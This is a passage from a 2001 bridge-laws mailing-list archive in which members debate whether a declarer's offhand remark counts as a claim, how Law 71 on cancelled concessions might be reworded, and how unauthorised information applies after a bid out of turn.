changed to making >> "any statement to the effect..." Still too ambiguous for me.... > Voting "yes, declarer has claimed" I'd like to add that the in the >50s the Polish version of the Laws contained a special regulation on >this (we had plenty of >such extra regulations; the most astonishing was that once in the >sixties >every trick in NT starting with the 10th was counted for 20 points!; >so 3NT= 600, 3NT +1 = 620; 3NT +2 = 640 etc.). >The regulation was: "if declarer makes during the play any announcement >like ><>, <> or >similar, defenders have the right to make declarer table his hand >and continue playing with his cards exposed". Good God! To what purpose? Is there some problem with declarers out there giving away too much information to defenders, so we must stop them with punitive regulations? If declarer is lying about his trick- taking ability, in order to confuse the defense, we can always hit him with L73 D or F, or any of various other laws. > Konrad Ciborowski > Kraków, Poland Shuddering in horror, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 05:21:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IIKrT01683 for bridge-laws-outgoing; Fri, 19 Jan 2001 05:20:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IIKht01679 for ; Fri, 19 Jan 2001 05:20:43 +1100 (EST) Received: from oemcomputer (user-2ive50m.dialup.mindspring.com [165.247.20.22]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id NAA28980; Thu, 18 Jan 2001 13:20:38 -0500 (EST) Message-ID: <00a201c0817b$f915f460$1614f7a5@oemcomputer> From: "Craig Senior" To: , "Grant Sterling" References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 13:25:00 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In a serious game, you should have kept silent. In a friendly game among close acquaintances I see no problem with overlooking this sort of infraction...but we aren't talking about kitchen table bridge here. In any sort of a tournament you probably should refrain from such comments as they would seem to breach the proprieties if not other laws. I think that as director you might do well to set a better example for other players. Craig ----- Original Message ----- From: "Grant Sterling" To: Sent: Thursday, January 18, 2001 1:03 PM Subject: Re: [BLML] Claim? > At 11:24 AM 1/18/2001 -0500, Craig Senior wrote: > >I diagree. 68a looks pretty clear on its face, and more so because of its > >provenance. Let us believe that tge law means what it says and enforce it as > >written. This is a claim. > > Let us most emphatically _not_ assume that the law means what it > says, and let us not under any circumstances enforce it as written. I > cannot believe that anyone would enforce a 'claim' in a situation where > it is obvious to everyone that the person had no intention to claim. > Monday night I was in 3NT. I was playing against two opponents that > I knew quite well, and who are in the habit of joking during play. When the > opening lead was tabled, I said "Hmmm...4,5,6,7,8. [pause] 8." When RHO > contributed the J of clubs to the first trick, taken by my Q, he laughed and > said "Is that 9?" "No", I said, "unfortunately that was one of the 8." We > played on, and I made 9 after all, when an opponent had to lead to a stranded > winner in dummy at trick 13. > But wait! Ought I, as a Director, have stopped play before playing to > trick 1 from dummy, on the grounds that I had claimed 4 tricks? [I assume > that if you claim 4 tricks, subsequent claims of 5, 6, 7, and 8 tricks are > void.] Heaven forbid that bridge players joke at the table! I can safely say > that not one of the players at my table thought that I was claiming, or would > have tried to enforce that statement as a claim even if they had the lawbook > in hand. Tell me things have not come to this! > > >Craig > > > > Respectfully, > Grant Sterling > > > >> > Declarer looks at dummy, and comments: > >> > > >> > "Oh dear! We should be in slam - we are going to make twelve tricks!" > >> > > >> > Has he claimed? > >> > > >> >-- > >> >David Stevenson Liverpool, England, UK > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 05:38:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IIc2C01702 for bridge-laws-outgoing; Fri, 19 Jan 2001 05:38:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IIbtt01698 for ; Fri, 19 Jan 2001 05:37:56 +1100 (EST) Received: from oemcomputer (dialup-026.sligo.iol.ie [194.125.48.218]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id SAA49939 for ; Thu, 18 Jan 2001 18:37:45 GMT Received: by localhost with Microsoft MAPI; Thu, 18 Jan 2001 18:38:51 -0000 Message-ID: <01C0817D.E6EA8C40.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] Claim? Date: Thu, 18 Jan 2001 18:38:50 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:43 PM 1/17/01, DWS wrote: > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? Literally he has, but intentionally he has not. I vote No - he has not claimed. I wish the Law book could be taken literally but that is not the case yet so I will use commonsense. Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 06:18:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IJIWe04503 for bridge-laws-outgoing; Fri, 19 Jan 2001 06:18:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IJIOt04460 for ; Fri, 19 Jan 2001 06:18:25 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id OAA21196 for ; Thu, 18 Jan 2001 14:18:21 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id OAA23552 for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 14:18:21 -0500 (EST) Date: Thu, 18 Jan 2001 14:18:21 -0500 (EST) From: Steve Willner Message-Id: <200101181918.OAA23552@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: Adam Beneschan > If declarer made a comment like this, I think it would be appropriate > to ask him, "Are you claiming or not?" Which raises another question.... If a defender hears (or thinks he hears) a remark from declarer that might be a claim, is it appropriate to ask "Are you claiming?" Does the answer depend on whether defender is unsure of declarer's intent (as above) or is instead unsure what declarer has said or even whether declarer has said anything at all? (The sound might have come from another table.) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 06:29:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IJTkB04819 for bridge-laws-outgoing; Fri, 19 Jan 2001 06:29:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IJTdt04781 for ; Fri, 19 Jan 2001 06:29:40 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 18 Jan 2001 11:28:55 -0800 Message-ID: <001b01c08184$f2e90ec0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws Discussion List" References: <00cf01c08040$828fd360$56991e18@san.rr.com> <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> <4.3.2.7.1.20010118074438.00b1cb20@127.0.0.1> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Thu, 18 Jan 2001 11:19:11 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Eric Landau" > The first sentence appears to render not only the second sentence > superfluous, as David says, but L71A as well. With the time limit set > by the first paragraph of L71 now applicable to all of L71C as well as > L71A, How can you tell that this first sentence is not a mistaken rewrite of L71, since it disagrees with the second sentence? Only because we have been told by the LC which sentence is in error. A TD would not know how to rule without such guidance. > any concession which could be cancelled under L71A can be > cancelled under L71C: a trick which can't be lost by any legal play > can't be lost by any normal play. Very good. Change "legal" to "normal*" in L71A. Also change the tense of "could not have lost," which should be "cannot be lost," as better worded in L71C and in the title of L71A. (Why can't titles always agree with the text of a paragraph?) Also, delete the first clause, which concerns a trick already won, not one that "cannot be lost" (look at the title). Put that in L71C, retitled to "Trick Actually Won." Now delete L71B, which refers to tricks actually won but conceded, indeed redundant. L71C becomes L71B. > > On first reading it seems as though only the second part of L71A is > redundant to L71C, but I have always read the first part as being > redundant to the second part anyhow: a trick already won cannot be lost > by any legal play of the remaining cards. > Probably right, I'm dizzy trying to follow this. Anyway, rewrite the whole thing in one paragraph, since the time limit is now the same for all: L71 CONCESSION CANCELLED Within the correction period established in accordance with L79C, the Director shall cancel the concession of a trick that was not lost, or was not losable by normal* play of any remaining cards. Concessions not so cancelled must stand. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 06:53:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IJrLC13055 for bridge-laws-outgoing; Fri, 19 Jan 2001 06:53:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IJrEt13017 for ; Fri, 19 Jan 2001 06:53:14 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id OAA21972; Thu, 18 Jan 2001 14:52:54 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA225127573; Thu, 18 Jan 2001 14:52:53 -0500 X-Openmail-Hops: 1 Date: Thu, 18 Jan 2001 14:52:52 -0500 Message-Id: Subject: RE: [BLML] Claim? From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au, tsvecfob@iol.ie Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Literally he has, but intentionally he has not. I vote No - he has not claimed. I wish the Law book could be taken literally but that is not the case yet so I will use commonsense. Best regards, Fearghal. ________________________________________________________________________ ____________ Fully agree and vote "no" at the club and low tournement levels. Lets play bridge. Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 07:10:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IKAA818930 for bridge-laws-outgoing; Fri, 19 Jan 2001 07:10:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IKA4t18894 for ; Fri, 19 Jan 2001 07:10:04 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 18 Jan 2001 12:09:20 -0800 Message-ID: <004d01c0818a$982b0500$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.6.32.20010118170539.0082c6a0@pop.ulb.ac.be> Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 12:01:21 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "alain gottcheiner" "One enjoyed one's trip to the continent last > >> > >> >year," but I suppose the British Davids find it perfectly > >>acceptable. > >> > >> > >> > >> Certainly not. That's French. > > AG : it is not. French uses 'on' (= one) only to replace 'nous' (= we), and > it's felt as casual. And not as a substitute for "I." But surely, Alain, on peut voir that it is also used non-casually as an indefinite pronoun. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 07:36:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IKaSJ18956 for bridge-laws-outgoing; Fri, 19 Jan 2001 07:36:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f150.law3.hotmail.com [209.185.241.150]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IKaNt18952 for ; Fri, 19 Jan 2001 07:36:23 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 18 Jan 2001 12:36:15 -0800 Received: from 172.167.247.194 by lw3fd.law3.hotmail.msn.com with HTTP; Thu, 18 Jan 2001 20:36:15 GMT X-Originating-IP: [172.167.247.194] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Let's get back to the easy stuff Date: Thu, 18 Jan 2001 12:36:15 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Jan 2001 20:36:15.0405 (UTC) FILETIME=[4DA015D0:01C0818E] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: David Stevenson >Todd Zimnoch writes > >>From: David Stevenson > >> This is based on your knowledge that you opened 1S OOT, and then > >>withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised to > >>your _side_, so the 1S bid is unauthorised information to you.** > >> > >> If you rebid the spades, and do not mention the hearts, do we adjust > >>the score because bidding the hearts is an LA, as mentioned in L16C? > > > > Law 29B -- call out of rotation is cancelled, not withdrawn. You do > >not get to substitute your bid; the bid reverts back to the correct >person > >in order. L16C requires that the call/play has been withdrawn and > >substituted. L16C does not apply, but rather L16A. The cancelled 1S bid >is > >UI to your partner, but not to yourself. > > An interesting idea, but I believe that a cancelled call is withdrawn. >I am sure that when a call is cancelled we always use L16C. Otherwise >you would find it impossible to work out what the NOs would do about it. Extraneous information from opponents is never UI unless you caused it, right? -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 07:59:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IKx5X18976 for bridge-laws-outgoing; Fri, 19 Jan 2001 07:59:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IKwwt18972 for ; Fri, 19 Jan 2001 07:58:59 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id PAA09344 for ; Thu, 18 Jan 2001 15:00:13 -0600 (CST) Message-Id: <3.0.6.32.20010118145838.007e8cf0@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 14:58:38 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <00a201c0817b$f915f460$1614f7a5@oemcomputer> References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:25 PM 1/18/2001 -0500, Craig Senior wrote: >In a serious game, you should have kept silent. In a friendly game among >close acquaintances I see no problem with overlooking this sort of >infraction...but we aren't talking about kitchen table bridge here. In any >sort of a tournament you probably should refrain from such comments as they >would seem to breach the proprieties if not other laws. I think that as >director you might do well to set a better example for other players. > >Craig OK, two points: a) Even if we grant that my behavior is a breach of the proprieties, that doesn't make my statement a _claim_. Calling it a claim, regardless of the precise wording of L68, still strikes me as absurd. Penalize me under L70 if you like, or invoke L73. It _may_ have been inappropriate communication of some kind, but it wasn't a claim. b) I don't think it violates any proprieties, anyway. I was not attempting illicit communication with my partner, who was dummy. I was not attempting to intimidate the opponents, confuse or mislead them, or cause annoyance or embarassment to them. I was not attempting to gain any advantage at all from my remark, or to interfere in any way with their enjoyment of the game or with the quality of their play. If anything, it was to their advantage to know that I didn't have 9 top tricks. Perhaps I think bridge would be more fun for everyone if it were more like kitchen table bridge after all. [I agree that I wouldn't have done it with strangers who might have misunderstood somehow.] Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 08:00:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IL0TM18992 for bridge-laws-outgoing; Fri, 19 Jan 2001 08:00:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IL0Ot18988 for ; Fri, 19 Jan 2001 08:00:24 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 18 Jan 2001 12:59:40 -0800 Message-ID: <007601c08191$a0a23580$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 12:59:49 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grant Sterling wrote: > Let us most emphatically _not_ assume that the law means what it > says, and let us not under any circumstances enforce it as written. I > cannot believe that anyone would enforce a 'claim' in a situation where > it is obvious to everyone that the person had no intention to claim. > Monday night I was in 3NT. I was playing against two opponents that > I knew quite well, and who are in the habit of joking during play. When the > opening lead was tabled, I said "Hmmm...4,5,6,7,8. [pause] 8." When RHO > contributed the J of clubs to the first trick, taken by my Q, he laughed and > said "Is that 9?" "No", I said, "unfortunately that was one of the 8." We > played on, and I made 9 after all, when an opponent had to lead to a stranded > winner in dummy at trick 13. > But wait! Ought I, as a Director, have stopped play before playing to > trick 1 from dummy, on the grounds that I had claimed 4 tricks? [I assume > that if you claim 4 tricks, subsequent claims of 5, 6, 7, and 8 tricks are > void.] Heaven forbid that bridge players joke at the table! I can safely say > that not one of the players at my table thought that I was claiming, or would > have tried to enforce that statement as a claim even if they had the lawbook > in hand. Tell me things have not come to this! > One habit of mine that my wife Alice hates is that I too am prone to making little comments like that. She tells me that it could be disconcerting to the opponents, and is improper in any case. "Even when the opponents are friends?" "Yes!" She's right. We should all keep our mouths shut concerning the winning or losing of tricks unless we intend to claim, as L68A requires. We can't have a Law that varies based on who the opponents are. Joking is okay in rubber bridge, where opponents are always familiar players. The rubber bridge Law is different: L70. A player makes a claim when he announces that he will win one or more of the remaining tricks, or when he shows any or all of his cards for this purpose. As with the older duplicate Laws, "announces" implies something more formal than a casual statement. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 08:09:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IL9hQ19005 for bridge-laws-outgoing; Fri, 19 Jan 2001 08:09:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IL9bt19001 for ; Fri, 19 Jan 2001 08:09:38 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id PAA13322 for ; Thu, 18 Jan 2001 15:10:51 -0600 (CST) Message-Id: <3.0.6.32.20010118150917.007b4560@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 15:09:17 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <3.0.6.32.20010118145838.007e8cf0@ux1.cts.eiu.edu> References: <00a201c0817b$f915f460$1614f7a5@oemcomputer> <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > OK, two points: > a) Even if we grant that my behavior is a breach of the proprieties, >that doesn't make my statement a _claim_. Calling it a claim, regardless of >the precise wording of L68, still strikes me as absurd. Penalize me under >L70 if you like, or invoke L73. It _may_ have been inappropriate I meant L90. -GCS -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 08:17:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ILGr119021 for bridge-laws-outgoing; Fri, 19 Jan 2001 08:16:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ILGlt19017 for ; Fri, 19 Jan 2001 08:16:48 +1100 (EST) Received: from kay (ashsv1-13.cswnet.com [209.136.193.13]) by mail.cswnet.com (Postfix) with SMTP id D930E5D210; Thu, 18 Jan 2001 15:16:42 -0600 (CST) Message-ID: <021001c08194$489d86c0$0dc188d1@kay> From: "Nelson/Kay Ford" To: , "Adam Beneschan" Cc: References: <200101181735.JAA20378@mailhub.irvine.com> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 15:19:02 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Adam Beneschan" To: Cc: Sent: Thursday, January 18, 2001 11:35 AM Subject: Re: [BLML] Claim? > Unfortunately, this apsect of the law doesn't seem to be widely known. > In this case, I'd be trying to penalize someone whose only offense is > not scrutinizing the Lawbook to the same degree that we on BLML do. The club where I direct has a substantial number of Life Masters, very few (if any) of whom have more than a surface knowledge of any of the Laws (which is what prompted me to create the list at http://www.hsbridge.com/broken-rules.htm). If we do not enforce a Law because it is not widely known, there is little in the Law book which I *could* enforce. And after all, L72A1 does say that contestants are obligated to play in "strict accordance with the Laws". Finally -- if you think this is petty, read a *golf* rule book. Example: a pro losing a tournament because he kneeled on a towel instead of the bare ground when hitting a ball from under a bush. Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 08:23:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ILN8i19034 for bridge-laws-outgoing; Fri, 19 Jan 2001 08:23:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ILN2t19030 for ; Fri, 19 Jan 2001 08:23:03 +1100 (EST) Received: from default (vp196-105.worldonline.nl [195.241.196.105]) by pandora.worldonline.nl (Postfix) with SMTP id 796B836CF6 for ; Thu, 18 Jan 2001 22:22:56 +0100 (MET) Message-ID: <021401c08195$21b082a0$69c4f1c3@default> From: "Jac Fuchs" To: "BLML" Subject: Re: [BLML] Let's get back to the easy stuff Date: Thu, 18 Jan 2001 22:25:05 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > You open 1S out of turn and find partner was dealer. >The oppos do not accept your 1S bid, partner is silenced, >there are lead penalties if you defend and do not bid >spades later, and your 1S is UI to partner >[some people think it should be one or other of the last two, >but currently it >is both]. OK. >Partner is in deep doo-doo, and cannot use your 1S in >any way. No problem. > > And I do not see how L72B1 can possibly apply, unless your hand was >weak enough to wish to silence partner. No problem. > > But: what is the effect on your own later bidding of your 1S bid? > > For example, suppose you have six hearts and five spades, >and opened 1S because the hearts are weak. >Now partner is silenced, what should you bid? >3H, maybe to try to shut the oppos up? But then they will >realise you have spades and hearts. Perhaps you should >bid 3S and they will miscount the hand. Is this legal? >L72A5 allows you to do your best after paying the penalty, >so it seems legal, but .... > > This is based on your knowledge that you opened 1S OOT, >and then withdrew that 1S bid. **But L16C2 says that the 1S >is unauthorised to your _side_, so the 1S bid is >unauthorised information to you.** > L16C2 does not say this. L16C2 says that **information arising from** the withdrawn action is UI to you. IMO you had the knowledge that you have about your own hand before you made the mistimed 1S call, and thus it is not information arising from that bid. > If you rebid the spades, and do not mention the hearts, >do we adjust the score because bidding the hearts >is an LA, as mentioned in L16C? Thus, my reply to this is : No, I would not adjust the score, at least not for this reason. Jac (Jac Fuchs) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the 